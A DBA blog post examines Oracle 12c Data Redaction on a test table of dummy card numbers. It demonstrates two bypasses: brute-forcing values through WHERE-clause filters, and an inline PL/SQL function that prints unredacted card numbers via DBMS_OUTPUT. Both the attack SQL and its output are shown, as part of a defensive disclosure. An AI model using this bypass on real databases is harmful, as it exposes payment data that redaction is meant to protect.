The Limits of Data Redaction

Data Security is becoming more and more important nowadays.
In fact it was always important, just as the expected problems increase (by count or value) management seems to be more aware now. Due to many discussions I started to have a look at DBMS_REDACT - which is an implementation to show only those data to users they are allowed to use.
One of my first places to go was Tim Halls Data Redaction (DBMS_REDACT) in Oracle Database 12c Release 1 (12.1). As always a very promising source.
At the end of this page Tim wrote

• Redaction does not apply to the WHERE clause, so inference of the value is still possible for those with SQL access.

This is a good feature to ensure a query runs the same way with or without redaction, and the rows returned are still correct, just "hidden". But at the same time it's a huge backdoor by design. I'm using Tims testcase to explain the problem:

create user ANN identified by "Som3c0mpl5xPWD#" default tablespace users;
alter user ANN quota unlimited on users;
grant connect to ANN;
grant create table to ANN;
GRANT EXECUTE ON sys.dbms_redact TO ANN;

Create user BEE identified by "Som3othac0mpl5xPWD#" default tablespace users;
grant connect to BEE;

Connect ANN/"Som3c0mpl5xPWD#"

CREATE TABLE payment_details (
  id          NUMBER       NOT NULL,
  customer_id NUMBER       NOT NULL,
  card_no     NUMBER       NOT NULL,
  card_string VARCHAR2(19) NOT NULL,
  expiry_date DATE         NOT NULL,
  sec_code    NUMBER       NOT NULL,
  valid_date  DATE,
  CONSTRAINT payment_details_pk PRIMARY KEY (id)
);

INSERT INTO payment_details VALUES (1, 4000, 1234123412341234, '1234-1234-1234-1234', TRUNC(ADD_MONTHS(SYSDATE,12)), 123, NULL);
INSERT INTO payment_details VALUES (2, 4001, 2345234523452345, '2345-2345-2345-2345', TRUNC(ADD_MONTHS(SYSDATE,12)), 234, NULL);
INSERT INTO payment_details VALUES (3, 4002, 3456345634563456, '3456-3456-3456-3456', TRUNC(ADD_MONTHS(SYSDATE,12)), 345, NULL);
INSERT INTO payment_details VALUES (4, 4003, 4567456745674567, '4567-4567-4567-4567', TRUNC(ADD_MONTHS(SYSDATE,12)), 456, NULL);
INSERT INTO payment_details VALUES (5, 4004, 5678567856785678, '5678-5678-5678-5678', TRUNC(ADD_MONTHS(SYSDATE,12)), 567, NULL);
COMMIT;


BEGIN
  DBMS_REDACT.add_policy(
    object_schema => 'ANN',
    object_name   => 'payment_details',
    column_name   => 'card_no',
    policy_name   => 'redact_card_info',
    function_type => DBMS_REDACT.partial,
 function_parameters => '1,1,12',
    expression    => q'[SYS_CONTEXT('USERENV','SESSION_USER') != 'ANN']'
  );
END;
/

Here we have now the table PAYMENT_DETAILS in schema ANN, and we try to hide part of the column CARD_NO from all users except ANN. As Tim Stated, the redaction only takes place in the Projection, not in Filter. So a common attack is to "test" the CARD_NO without showing it:
By a repeated

SELECT customer_id from ann.payment_details where card_no < &SOME_VALUE;

And a block which just counts from 1 to a maximal number for &SOME_VALUE, we will know the card_no for every customer_id.
But this attack is somewhat time and resource consuming, so it can create traces in other areas like performance monitoring and therefore make an observant DBA suspicious.
But it's much easier to get the CARD_NOs, starting with 12.1 only select permission on the given table is required, and the statement is simple:

Connect BEE/"Som3othac0mpl5xPWD#"

WITH
  FUNCTION show_number(p_id IN NUMBER) RETURN NUMBER IS
  BEGIN
    dbms_output.put_line(p_id);
    RETURN 1;
  END;
SELECT * 
from ANN.payment_details 
where show_number(card_no)=1
/

gives this result:

        ID CUSTOMER_ID           CARD_NO CARD_STRING         EXPIRY_DA   SEC_CODE VALID_DAT
---------- ----------- ----------------- ------------------- --------- ---------- ---------
         1        4000  1111111111111234 1234-1234-1234-1234 21-AUG-18        123
         2        4001  1111111111112345 2345-2345-2345-2345 21-AUG-18        234
         3        4002  1111111111113456 3456-3456-3456-3456 21-AUG-18        345
         4        4003  1111111111114567 4567-4567-4567-4567 21-AUG-18        456
         5        4004  1111111111115678 5678-5678-5678-5678 21-AUG-18        567

1234123412341234
2345234523452345
3456345634563456
4567456745674567
5678567856785678

The CARD_NO values are hidden in the query output itself, but DBMS_OUTPUT.PUT_LINE can print them, when called in the WHERE clause.

Still I see Data Redaction one valuable method to secure data, but it's limits should be known and proper additional methods should be implemented to secure data.